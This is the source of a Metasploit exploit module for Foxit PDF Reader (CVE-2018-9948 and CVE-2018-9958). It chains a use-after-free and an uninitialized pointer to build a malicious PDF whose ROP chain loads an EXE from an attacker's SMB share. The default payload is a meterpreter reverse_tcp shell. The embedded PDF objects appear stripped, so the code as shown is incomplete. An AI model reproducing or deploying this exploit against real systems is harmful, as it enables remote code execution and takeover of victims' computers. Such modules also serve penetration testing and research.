## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info={}) super(update_info(info, 'Name' => 'Foxit PDF Reader Pointer Overwrite UAF', 'Description' => %q{ Foxit PDF Reader v9.0.1.1049 has a Use-After-Free vulnerability in the Text Annotations component and the TypedArray's use uninitialized pointers. The vulnerabilities can be combined to leak a vtable memory address, which can be adjusted to point to the base address of the executable. A ROP chain can be constructed that will execute when Foxit Reader performs the UAF. }, 'License' => MSF_LICENSE, 'Author' => [ 'mr_me', # Use-after-free and PoC 'bit from meepwn', # Uninitialized pointer 'saelo', # JavaScript Garbage Collector 'Jacob Robles' # Metasploit Module ], 'References' => [ ['CVE', '2018-9948'], ['CVE', '2018-9958'], ['ZDI', '18-332'], ['ZDI', '18-342'], ['URL', 'https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html'], ['URL', 'https://srcincite.io/pocs/cve-2018-99{48,58}.pdf.txt'] ], 'DefaultOptions' => { 'DisablePayloadHandler' => true, 'FILENAME' => 'test.pdf', 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }, 'Platform' => 'win', 'Targets' => [ ['Windows 10 Pro x64 Build 17134', {}] ], 'DisclosureDate' => 'Apr 20 2018', 'DefaultTarget' => 0)) register_options([ OptString.new('EXENAME', [false, 'EXE file to download', '']), OptString.new('SHARE', [false, 'SMB share hosting exe', '']) ]) end def pdfdoc share = datastore['SHARE'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}" : datastore['SHARE'] fname = datastore['EXENAME'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}.exe" : datastore['EXENAME'] fname << '.exe' unless fname.ends_with?('.exe') share_path = "\\\\#{datastore['LHOST']}\\#{share}\\#{fname}" num = 4 - (share_path.length % 4) share_path << "\x00"*num return nil if share_path.length > 44 print_status("share_path: #{share_path}") rop = '' max_index = 0 share_path.unpack('V*').each_with_index {|blk, index| rop << "\nrop[0x%02x] = 0x%08x" % [index+12, blk] max_index = index } (max_index+1).upto(10) {|i| rop << "\nrop[0x%02x] = 0x00000000" % (i+12)} <<~PDFDOC %PDF 1 0 obj <> 2 0 obj <> trailer <> PDFDOC end def exploit mypdf = pdfdoc if mypdf.nil? fail_with(Failure::BadConfig, 'The generated share path was greater than 44 bytes.') end file_create(mypdf) end end